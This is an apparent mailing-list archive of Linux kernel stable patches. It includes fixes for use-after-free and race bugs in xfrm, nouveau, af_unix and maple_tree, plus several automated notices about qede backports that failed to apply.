Date: Mon, 10 Jul 2023 17:40:51 +0800
Subject: [PATCH] xfrm: fix slab-use-after-free in decode_session6
When the xfrm device is set to the qdisc of the sfb type, the cb field
of the sent skb may be modified during enqueuing. Then,
slab-use-after-free may occur when the xfrm device sends IPv6 packets.
The stack information is as follows:
BUG: KASAN: slab-use-after-free in decode_session6+0x103f/0x1890
Read of size 1 at addr ffff8881111458ef by task swapper/3/0
CPU: 3 PID: 0 Comm: swapper/3 Not tainted 6.4.0-next-20230707 #409
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-1.fc33 04/01/2014
Call Trace:
<IRQ>
dump_stack_lvl+0xd9/0x150
print_address_description.constprop.0+0x2c/0x3c0
kasan_report+0x11d/0x130
decode_session6+0x103f/0x1890
__xfrm_decode_session+0x54/0xb0
xfrmi_xmit+0x173/0x1ca0
dev_hard_start_xmit+0x187/0x700
sch_direct_xmit+0x1a3/0xc30
__qdisc_run+0x510/0x17a0
__dev_queue_xmit+0x2215/0x3b10
neigh_connected_output+0x3c2/0x550
ip6_finish_output2+0x55a/0x1550
ip6_finish_output+0x6b9/0x1270
ip6_output+0x1f1/0x540
ndisc_send_skb+0xa63/0x1890
ndisc_send_rs+0x132/0x6f0
addrconf_rs_timer+0x3f1/0x870
call_timer_fn+0x1a0/0x580
expire_timers+0x29b/0x4b0
run_timer_softirq+0x326/0x910
__do_softirq+0x1d4/0x905
irq_exit_rcu+0xb7/0x120
sysvec_apic_timer_interrupt+0x97/0xc0
</IRQ>
<TASK>
asm_sysvec_apic_timer_interrupt+0x1a/0x20
RIP: 0010:intel_idle_hlt+0x23/0x30
Code: 1f 84 00 00 00 00 00 f3 0f 1e fa 41 54 41 89 d4 0f 1f 44 00 00 66 90 0f 1f 44 00 00 0f 00 2d c4 9f ab 00 0f 1f 44 00 00 fb f4 <fa> 44 89 e0 41 5c c3 66 0f 1f 44 00 00 f3 0f 1e fa 41 54 41 89 d4
RSP: 0018:ffffc90000197d78 EFLAGS: 00000246
RAX: 00000000000a83c3 RBX: ffffe8ffffd09c50 RCX: ffffffff8a22d8e5
RDX: 0000000000000001 RSI: ffffffff8d3f8080 RDI: ffffe8ffffd09c50
RBP: ffffffff8d3f8080 R08: 0000000000000001 R09: ffffed1026ba6d9d
R10: ffff888135d36ceb R11: 0000000000000001 R12: 0000000000000001
R13: ffffffff8d3f8100 R14: 0000000000000001 R15: 0000000000000000
cpuidle_enter_state+0xd3/0x6f0
cpuidle_enter+0x4e/0xa0
do_idle+0x2fe/0x3c0
cpu_startup_entry+0x18/0x20
start_secondary+0x200/0x290
secondary_startup_64_no_verify+0x167/0x16b
</TASK>
Allocated by task 939:
kasan_save_stack+0x22/0x40
kasan_set_track+0x25/0x30
__kasan_slab_alloc+0x7f/0x90
kmem_cache_alloc_node+0x1cd/0x410
kmalloc_reserve+0x165/0x270
__alloc_skb+0x129/0x330
inet6_ifa_notify+0x118/0x230
__ipv6_ifa_notify+0x177/0xbe0
addrconf_dad_completed+0x133/0xe00
addrconf_dad_work+0x764/0x1390
process_one_work+0xa32/0x16f0
worker_thread+0x67d/0x10c0
kthread+0x344/0x440
ret_from_fork+0x1f/0x30
The buggy address belongs to the object at ffff888111145800
which belongs to the cache skbuff_small_head of size 640
The buggy address is located 239 bytes inside of
freed 640-byte region [ffff888111145800, ffff888111145a80)
As commit f855691975bb ("xfrm6: Fix the nexthdr offset in
_decode_session6.") showed, xfrm_decode_session was originally intended
only for the receive path. IP6CB(skb)->nhoff is not set during
transmission. Therefore, set the cb field in the skb to 0 before
sending packets.
Fixes: f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.")
Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com>
Signed-off-by: Steffen Klassert <steffen.klassert(a)secunet.com>
diff --git a/net/xfrm/xfrm_interface_core.c b/net/xfrm/xfrm_interface_core.c
index a3319965470a..b86474084690 100644
--- a/net/xfrm/xfrm_interface_core.c
+++ b/net/xfrm/xfrm_interface_core.c
@@ -537,8 +537,8 @@ static netdev_tx_t xfrmi_xmit(struct sk_buff *skb, struct net_device *dev)
switch (skb->protocol) {
case htons(ETH_P_IPV6):
- xfrm_decode_session(skb, &fl, AF_INET6);
memset(IP6CB(skb), 0, sizeof(*IP6CB(skb)));
+ xfrm_decode_session(skb, &fl, AF_INET6);
if (!dst) {
fl.u.ip6.flowi6_oif = dev->ifindex;
fl.u.ip6.flowi6_flags |= FLOWI_FLAG_ANYSRC;
@@ -552,8 +552,8 @@ static netdev_tx_t xfrmi_xmit(struct sk_buff *skb, struct net_device *dev)
}
break;
case htons(ETH_P_IP):
- xfrm_decode_session(skb, &fl, AF_INET);
memset(IPCB(skb), 0, sizeof(*IPCB(skb)));
+ xfrm_decode_session(skb, &fl, AF_INET);
if (!dst) {
struct rtable *rt;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/nouveau/disp: fix use-after-free in error handling of" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 1b254b791d7b7dea6e8adc887fbbd51746d8bb27
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082146-oxidation-equate-185a@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
1b254b791d7b ("drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create")
773eb04d14a1 ("drm/nouveau/disp: expose conn event class")
ffd2664114c8 ("drm/nouveau/disp: expose head event class")
1d4dce284164 ("drm/nouveau/disp: switch vblank semaphore release to nvkm_event_ntfy")
f43e47c090dc ("drm/nouveau/nvkm: add a replacement for nvkm_notify")
361863ceab1e ("drm/nouveau/disp: move head scanoutpos method")
a2b7eadfef59 ("drm/nouveau/disp: add head class")
8c7d980da9ba ("drm/nouveau/disp: move DP MST payload config method")
8bb30c882334 ("drm/nouveau/disp: add method to trigger DP link retrain")
016dacb60e6d ("drm/nouveau/kms: pass event mask to hpd handler")
d62f8e982cb8 ("drm/nouveau/kms: switch hpd_lock from mutex to spinlock")
a62b74939063 ("drm/nouveau/disp: add method to control DPAUX pad power")
813443721331 ("drm/nouveau/disp: move DP link config into acquire")
a9f5d7721923 ("drm/nouveau/disp: move HDA ELD method")
f530bc60a30b ("drm/nouveau/disp: move HDMI config into acquire + infoframe methods")
9793083f1dd9 ("drm/nouveau/disp: move LVDS protocol information into acquire")
ea6143a86c67 ("drm/nouveau/disp: move and extend the role of outp acquire/release methods")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 1b254b791d7b7dea6e8adc887fbbd51746d8bb27 Mon Sep 17 00:00:00 2001
From: Karol Herbst <kherbst(a)redhat.com>
Date: Mon, 14 Aug 2023 16:49:32 +0200
Subject: [PATCH] drm/nouveau/disp: fix use-after-free in error handling of
nouveau_connector_create
We can't simply free the connector after calling drm_connector_init on it.
We need to clean up the drm side first.
It might not fix all regressions from commit 2b5d1c29f6c4
("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"),
but at least it fixes a memory corruption in error handling related to
that commit.
Link: https://lore.kernel.org/lkml/20230806213107.GFZNARG6moWpFuSJ9W@fat_crate.lo…
Fixes: 95983aea8003 ("drm/nouveau/disp: add connector class")
Signed-off-by: Karol Herbst <kherbst(a)redhat.com>
Reviewed-by: Lyude Paul <lyude(a)redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814144933.3956959-1-kher…
diff --git a/drivers/gpu/drm/nouveau/nouveau_connector.c b/drivers/gpu/drm/nouveau/nouveau_connector.c
index a2e0033e8a26..622f6eb9a8bf 100644
--- a/drivers/gpu/drm/nouveau/nouveau_connector.c
+++ b/drivers/gpu/drm/nouveau/nouveau_connector.c
@@ -1408,8 +1408,7 @@ nouveau_connector_create(struct drm_device *dev,
ret = nvif_conn_ctor(&disp->disp, nv_connector->base.name, nv_connector->index,
&nv_connector->conn);
if (ret) {
- kfree(nv_connector);
- return ERR_PTR(ret);
+ goto drm_conn_err;
}
ret = nvif_conn_event_ctor(&nv_connector->conn, "kmsHotplug",
@@ -1426,8 +1425,7 @@ nouveau_connector_create(struct drm_device *dev,
if (ret) {
nvif_event_dtor(&nv_connector->hpd);
nvif_conn_dtor(&nv_connector->conn);
- kfree(nv_connector);
- return ERR_PTR(ret);
+ goto drm_conn_err;
}
}
}
@@ -1475,4 +1473,9 @@ nouveau_connector_create(struct drm_device *dev,
drm_connector_register(connector);
return connector;
+
+drm_conn_err:
+ drm_connector_cleanup(connector);
+ kfree(nv_connector);
+ return ERR_PTR(ret);
}
2 years, 4 months
- 3
- 2
[PATCH stable v4.14.y - v6.4.y] af_unix: Fix null-ptr-deref in unix_stream_sendpage().
by Kuniyuki Iwashima
Bing-Jhong Billy Jheng reported null-ptr-deref in unix_stream_sendpage()
with detailed analysis and a nice repro.
unix_stream_sendpage() tries to add data to the last skb in the peer's
recv queue without locking the queue.
If the peer's FD is passed to another socket and the socket's FD is
passed to the peer, there is a loop between them. If we close both
sockets without receiving FD, the sockets will be cleaned up by garbage
collection.
The garbage collection iterates such sockets and unlinks skb with
FD from the socket's receive queue under the queue's lock.
So, there is a race where unix_stream_sendpage() could access an skb
locklessly that is being released by garbage collection, resulting in
use-after-free.
To avoid the issue, unix_stream_sendpage() must lock the peer's recv
queue.
Note the issue does not exist in 6.5+ thanks to the recent sendpage()
refactoring.
This patch is originally written by Linus Torvalds.
BUG: unable to handle page fault for address: ffff988004dd6870
PF: supervisor read access in kernel mode
PF: error_code(0x0000) - not-present page
PGD 0 P4D 0
PREEMPT SMP PTI
CPU: 4 PID: 297 Comm: garbage_uaf Not tainted 6.1.46 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014
RIP: 0010:kmem_cache_alloc_node+0xa2/0x1e0
Code: c0 0f 84 32 01 00 00 41 83 fd ff 74 10 48 8b 00 48 c1 e8 3a 41 39 c5 0f 85 1c 01 00 00 41 8b 44 24 28 49 8b 3c 24 48 8d 4a 40 <49> 8b 1c 06 4c 89 f0 65 48 0f c7 0f 0f 94 c0 84 c0 74 a1 41 8b 44
RSP: 0018:ffffc9000079fac0 EFLAGS: 00000246
RAX: 0000000000000070 RBX: 0000000000000005 RCX: 000000000001a284
RDX: 000000000001a244 RSI: 0000000000400cc0 RDI: 000000000002eee0
RBP: 0000000000400cc0 R08: 0000000000400cc0 R09: 0000000000000003
R10: 0000000000000001 R11: 0000000000000000 R12: ffff888003970f00
R13: 00000000ffffffff R14: ffff988004dd6800 R15: 00000000000000e8
FS: 00007f174d6f3600(0000) GS:ffff88807db00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff988004dd6870 CR3: 00000000092be000 CR4: 00000000007506e0
PKRU: 55555554
Call Trace:
<TASK>
? __die_body.cold+0x1a/0x1f
? page_fault_oops+0xa9/0x1e0
? fixup_exception+0x1d/0x310
? exc_page_fault+0xa8/0x150
? asm_exc_page_fault+0x22/0x30
? kmem_cache_alloc_node+0xa2/0x1e0
? __alloc_skb+0x16c/0x1e0
__alloc_skb+0x16c/0x1e0
alloc_skb_with_frags+0x48/0x1e0
sock_alloc_send_pskb+0x234/0x270
unix_stream_sendmsg+0x1f5/0x690
sock_sendmsg+0x5d/0x60
____sys_sendmsg+0x210/0x260
___sys_sendmsg+0x83/0xd0
? kmem_cache_alloc+0xc6/0x1c0
? avc_disable+0x20/0x20
? percpu_counter_add_batch+0x53/0xc0
? alloc_empty_file+0x5d/0xb0
? alloc_file+0x91/0x170
? alloc_file_pseudo+0x94/0x100
? __fget_light+0x9f/0x120
__sys_sendmsg+0x54/0xa0
do_syscall_64+0x3b/0x90
entry_SYSCALL_64_after_hwframe+0x69/0xd3
RIP: 0033:0x7f174d639a7d
Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 8a c1 f4 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 de c1 f4 ff 48
RSP: 002b:00007ffcb563ea50 EFLAGS: 00000293 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f174d639a7d
RDX: 0000000000000000 RSI: 00007ffcb563eab0 RDI: 0000000000000007
RBP: 00007ffcb563eb10 R08: 0000000000000000 R09: 00000000ffffffff
R10: 00000000004040a0 R11: 0000000000000293 R12: 00007ffcb563ec28
R13: 0000000000401398 R14: 0000000000403e00 R15: 00007f174d72c000
</TASK>
Fixes: 869e7c62486e ("net: af_unix: implement stream sendpage support")
Reported-by: Bing-Jhong Billy Jheng <billy(a)starlabs.sg>
Reviewed-by: Bing-Jhong Billy Jheng <billy(a)starlabs.sg>
Co-developed-by: Linus Torvalds <torvalds(a)linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds(a)linux-foundation.org>
Signed-off-by: Kuniyuki Iwashima <kuniyu(a)amazon.com>
---
net/unix/af_unix.c | 9 ++++-----
1 file changed, 4 insertions(+), 5 deletions(-)
diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 10615878e396..714bd87f12d9 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -2291,6 +2291,7 @@ static ssize_t unix_stream_sendpage(struct socket *socket, struct page *page,
if (false) {
alloc_skb:
+ spin_unlock(&other->sk_receive_queue.lock);
unix_state_unlock(other);
mutex_unlock(&unix_sk(other)->iolock);
newskb = sock_alloc_send_pskb(sk, 0, 0, flags & MSG_DONTWAIT,
@@ -2330,6 +2331,7 @@ static ssize_t unix_stream_sendpage(struct socket *socket, struct page *page,
init_scm = false;
}
+ spin_lock(&other->sk_receive_queue.lock);
skb = skb_peek_tail(&other->sk_receive_queue);
if (tail && tail == skb) {
skb = newskb;
@@ -2360,14 +2362,11 @@ static ssize_t unix_stream_sendpage(struct socket *socket, struct page *page,
refcount_add(size, &sk->sk_wmem_alloc);
if (newskb) {
- err = unix_scm_to_skb(&scm, skb, false);
- if (err)
- goto err_state_unlock;
- spin_lock(&other->sk_receive_queue.lock);
+ unix_scm_to_skb(&scm, skb, false);
__skb_queue_tail(&other->sk_receive_queue, newskb);
- spin_unlock(&other->sk_receive_queue.lock);
}
+ spin_unlock(&other->sk_receive_queue.lock);
unix_state_unlock(other);
mutex_unlock(&unix_sk(other)->iolock);
--
2.30.2
2 years, 4 months
- 2
- 1
+ maple_tree-disable-mas_wr_append-when-other-readers-are-possible.patch added to mm-hotfixes-unstable branch
by Andrew Morton
The patch titled
Subject: maple_tree: disable mas_wr_append() when other readers are possible
has been added to the -mm mm-hotfixes-unstable branch. Its filename is
maple_tree-disable-mas_wr_append-when-other-readers-are-possible.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patche…
This patch will later appear in the mm-hotfixes-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a
reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via the mm-everything
branch at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there every 2-3 working days
------------------------------------------------------
From: "Liam R. Howlett" <Liam.Howlett(a)oracle.com>
Subject: maple_tree: disable mas_wr_append() when other readers are possible
Date: Fri, 18 Aug 2023 20:43:55 -0400
The current implementation of append may cause duplicate data and/or
incorrect ranges to be returned to a reader during an update. Although
this has not been reported or seen, disable the append write operation
while the tree is in rcu mode out of an abundance of caution.
During the analysis of the mas_next_slot() the following was
artificially created by separating the writer and reader code:
Writer: reader:
mas_wr_append
set end pivot
updates end metata
Detects write to last slot
last slot write is to start of slot
store current contents in slot
overwrite old end pivot
mas_next_slot():
read end metadata
read old end pivot
return with incorrect range
store new value
Alternatively:
Writer: reader:
mas_wr_append
set end pivot
updates end metata
Detects write to last slot
last lost write to end of slot
store value
mas_next_slot():
read end metadata
read old end pivot
read new end pivot
return with incorrect range
set old end pivot
There may be other accesses that are not safe since we are now updating
both metadata and pointers, so disabling append if there could be rcu
readers is the safest action.
Link: https://lkml.kernel.org/r/20230819004356.1454718-2-Liam.Howlett@oracle.com
Fixes: 54a611b60590 ("Maple Tree: add new data structure")
Signed-off-by: Liam R. Howlett <Liam.Howlett(a)oracle.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
lib/maple_tree.c | 7 +++++++
1 file changed, 7 insertions(+)
--- a/lib/maple_tree.c~maple_tree-disable-mas_wr_append-when-other-readers-are-possible
+++ a/lib/maple_tree.c
@@ -4265,6 +4265,10 @@ static inline unsigned char mas_wr_new_e
* mas_wr_append: Attempt to append
* @wr_mas: the maple write state
*
+ * This is currently unsafe in rcu mode since the end of the node may be cached
+ * by readers while the node contents may be updated which could result in
+ * inaccurate information.
+ *
* Return: True if appended, false otherwise
*/
static inline bool mas_wr_append(struct ma_wr_state *wr_mas)
@@ -4274,6 +4278,9 @@ static inline bool mas_wr_append(struct
struct ma_state *mas = wr_mas->mas;
unsigned char node_pivots = mt_pivots[wr_mas->type];
+ if (mt_in_rcu(mas->tree))
+ return false;
+
if (mas->offset != wr_mas->node_end)
return false;
_
Patches currently in -mm which might be from Liam.Howlett(a)oracle.com are
maple_tree-disable-mas_wr_append-when-other-readers-are-possible.patch
maple_tree-add-hex-output-to-maple_arange64-dump.patch
maple_tree-reorder-replacement-of-nodes-to-avoid-live-lock.patch
maple_tree-introduce-mas_put_in_tree.patch
maple_tree-introduce-mas_tree_parent-definition.patch
maple_tree-change-mas_adopt_children-parent-usage.patch
maple_tree-replace-data-before-marking-dead-in-split-and-spanning-store.patch
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] qede: fix firmware halt over suspend and resume" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x 2eb9625a3a32251ecea470cd576659a3a03b4e59
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082105-decade-shout-4b7c@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
2eb9625a3a32 ("qede: fix firmware halt over suspend and resume")
731815e720ae ("qede: Add support for handling the pcie errors.")
ccc67ef50b90 ("qede: Error recovery process")
f04e48dbfaf7 ("qede: Update link status only when interface is ready.")
149d3775f108 ("qede: Simplify the usage of qede-flags.")
d25b859ccd61 ("qede: Add support for populating ethernet TLVs.")
91dfd02b2300 ("qede: Fix ref-cnt usage count")
3f2176dd7fe9 ("qede: fix spelling mistake: "registeration" -> "registration"")
bd0b2e7fe611 ("net: xdp: make the stack take care of the tear down")
012bb8a8b5a2 ("nfp: bpf: drop support for cls_bpf with legacy actions")
43b45245e5a6 ("nfp: bpf: fall back to core NIC app if BPF not selected")
2c4197a041df ("nfp: reorganize the app table")
f449657f8353 ("nfp: bpf: reject TC offload if XDP loaded")
3248f77fa3ee ("drivers/net: netronome: Convert timers to use timer_setup()")
ee9133a845fe ("nfp: bpf: add stack write support")
70c78fc138b6 ("nfp: bpf: refactor nfp_bpf_check_ptr()")
90d97315b3e7 ("nfp: bpf: Convert ndo_setup_tc offloads to block callbacks")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 2eb9625a3a32251ecea470cd576659a3a03b4e59 Mon Sep 17 00:00:00 2001
From: Manish Chopra <manishc(a)marvell.com>
Date: Wed, 16 Aug 2023 20:37:11 +0530
Subject: [PATCH] qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes: 2950219d87b0 ("qede: Add basic network device support")
Signed-off-by: Manish Chopra <manishc(a)marvell.com>
Signed-off-by: Alok Prasad <palok(a)marvell.com>
Reviewed-by: John Meneghini <jmeneghi(a)redhat.com>
Reviewed-by: Simon Horman <horms(a)kernel.org>
Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/ethernet/qlogic/qede/qede_main.c b/drivers/net/ethernet/qlogic/qede/qede_main.c
index 4b004a728190..99df00c30b8c 100644
--- a/drivers/net/ethernet/qlogic/qede/qede_main.c
+++ b/drivers/net/ethernet/qlogic/qede/qede_main.c
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param)
}
#endif
+static int __maybe_unused qede_suspend(struct device *dev)
+{
+ dev_info(dev, "Device does not support suspend operation\n");
+
+ return -EOPNOTSUPP;
+}
+
+static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL);
+
static const struct pci_error_handlers qede_err_handler = {
.error_detected = qede_io_error_detected,
};
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = {
.sriov_configure = qede_sriov_configure,
#endif
.err_handler = &qede_err_handler,
+ .driver.pm = &qede_pm_ops,
};
static struct qed_eth_cb_ops qede_ll_ops = {
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] qede: fix firmware halt over suspend and resume" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x 2eb9625a3a32251ecea470cd576659a3a03b4e59
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082104-recovery-duffel-eafa@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
2eb9625a3a32 ("qede: fix firmware halt over suspend and resume")
731815e720ae ("qede: Add support for handling the pcie errors.")
ccc67ef50b90 ("qede: Error recovery process")
f04e48dbfaf7 ("qede: Update link status only when interface is ready.")
149d3775f108 ("qede: Simplify the usage of qede-flags.")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 2eb9625a3a32251ecea470cd576659a3a03b4e59 Mon Sep 17 00:00:00 2001
From: Manish Chopra <manishc(a)marvell.com>
Date: Wed, 16 Aug 2023 20:37:11 +0530
Subject: [PATCH] qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes: 2950219d87b0 ("qede: Add basic network device support")
Signed-off-by: Manish Chopra <manishc(a)marvell.com>
Signed-off-by: Alok Prasad <palok(a)marvell.com>
Reviewed-by: John Meneghini <jmeneghi(a)redhat.com>
Reviewed-by: Simon Horman <horms(a)kernel.org>
Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/ethernet/qlogic/qede/qede_main.c b/drivers/net/ethernet/qlogic/qede/qede_main.c
index 4b004a728190..99df00c30b8c 100644
--- a/drivers/net/ethernet/qlogic/qede/qede_main.c
+++ b/drivers/net/ethernet/qlogic/qede/qede_main.c
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param)
}
#endif
+static int __maybe_unused qede_suspend(struct device *dev)
+{
+ dev_info(dev, "Device does not support suspend operation\n");
+
+ return -EOPNOTSUPP;
+}
+
+static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL);
+
static const struct pci_error_handlers qede_err_handler = {
.error_detected = qede_io_error_detected,
};
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = {
.sriov_configure = qede_sriov_configure,
#endif
.err_handler = &qede_err_handler,
+ .driver.pm = &qede_pm_ops,
};
static struct qed_eth_cb_ops qede_ll_ops = {
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] qede: fix firmware halt over suspend and resume" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x 2eb9625a3a32251ecea470cd576659a3a03b4e59
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082103-abiding-overprice-903a@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
2eb9625a3a32 ("qede: fix firmware halt over suspend and resume")
731815e720ae ("qede: Add support for handling the pcie errors.")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 2eb9625a3a32251ecea470cd576659a3a03b4e59 Mon Sep 17 00:00:00 2001
From: Manish Chopra <manishc(a)marvell.com>
Date: Wed, 16 Aug 2023 20:37:11 +0530
Subject: [PATCH] qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes: 2950219d87b0 ("qede: Add basic network device support")
Signed-off-by: Manish Chopra <manishc(a)marvell.com>
Signed-off-by: Alok Prasad <palok(a)marvell.com>
Reviewed-by: John Meneghini <jmeneghi(a)redhat.com>
Reviewed-by: Simon Horman <horms(a)kernel.org>
Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/ethernet/qlogic/qede/qede_main.c b/drivers/net/ethernet/qlogic/qede/qede_main.c
index 4b004a728190..99df00c30b8c 100644
--- a/drivers/net/ethernet/qlogic/qede/qede_main.c
+++ b/drivers/net/ethernet/qlogic/qede/qede_main.c
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param)
}
#endif
+static int __maybe_unused qede_suspend(struct device *dev)
+{
+ dev_info(dev, "Device does not support suspend operation\n");
+
+ return -EOPNOTSUPP;
+}
+
+static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL);
+
static const struct pci_error_handlers qede_err_handler = {
.error_detected = qede_io_error_detected,
};
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = {
.sriov_configure = qede_sriov_configure,
#endif
.err_handler = &qede_err_handler,
+ .driver.pm = &qede_pm_ops,
};
static struct qed_eth_cb_ops qede_ll_ops = {
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] qede: fix firmware halt over suspend and resume" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x 2eb9625a3a32251ecea470cd576659a3a03b4e59
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082101-till-squealing-7f7d@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
2eb9625a3a32 ("qede: fix firmware halt over suspend and resume")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 2eb9625a3a32251ecea470cd576659a3a03b4e59 Mon Sep 17 00:00:00 2001
From: Manish Chopra <manishc(a)marvell.com>
Date: Wed, 16 Aug 2023 20:37:11 +0530
Subject: [PATCH] qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
